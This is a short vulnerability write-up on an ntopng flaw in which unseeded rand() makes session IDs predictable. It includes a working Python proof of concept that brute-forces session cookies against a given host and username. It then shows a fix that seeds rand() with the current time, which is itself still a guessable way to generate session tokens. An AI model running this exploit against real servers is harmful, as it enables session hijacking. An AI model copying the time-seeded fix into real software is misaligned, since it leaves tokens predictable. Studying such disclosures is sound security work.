**Problem**

<https://www.exploit-db.com/exploits/44973/>

The PRNG involved in the generation of session IDs is not seeded at program startup. This results in deterministic session IDs being allocated for active user sessions. An attacker with foreknowledge of the operating system and standard library in use by the host running the service and the username of the user whose session they're targeting can abuse the deterministic random number generation in order to hijack the user's session, thus escalating their access.

**Proof of concept:**

ntopng\_cve\_poc.py

import requests

import sys

import hashlib

from ctypes import \*

libc = CDLL('libc.so.6')

if \_\_name\_\_ == "\_\_main\_\_":

if len(sys.argv) < 3:

print('[-] Usage: python poc.py <host> <username>')

sys.exit(1)

host, username = sys.argv[1:]

for i in range(256):

print('[\*] Trying with rand() iteration %d...' % i)

session = hashlib.md5(('%d' % libc.rand()) + username).hexdigest()

r = requests.get(host + '/lua/network\_load.lua', cookies={'user': username, 'session': session})

if r.status\_code == 200:

print('[+] Got it! Valid session cookie is %s for username %s.' % (session, username))

break

**src/HTTPserver.cpp**

**PRNG involved in the generation of session IDs is not seeded at program startup**

**Fix**

**src/HTTPserver.cpp**

struct timeval tv;

/\* Randomize data \*/

gettimeofday(&tv, NULL);

**srand(tv.tv\_sec + tv.tv\_usec)**

The C library function **void srand(unsigned int seed)** seeds the random number generator used by the function **rand**.

**Notes:** [**http://www.ccplusplus.com/2011/09/struct-timeval-in-c.html**](http://www.ccplusplus.com/2011/09/struct-timeval-in-c.html)

/\* Listing 11.3: The Definition of the timeval Structure\*/

struct timeval {

long tv\_sec; /\* seconds \*/

long tv\_usec; /\* microseconds \*/

};

To establish a timeout value of 1.75 seconds, you would code something like this:

Example

struct timeval tv;

tv.tv\_sec = 1;

tv.tv\_usec = 750000;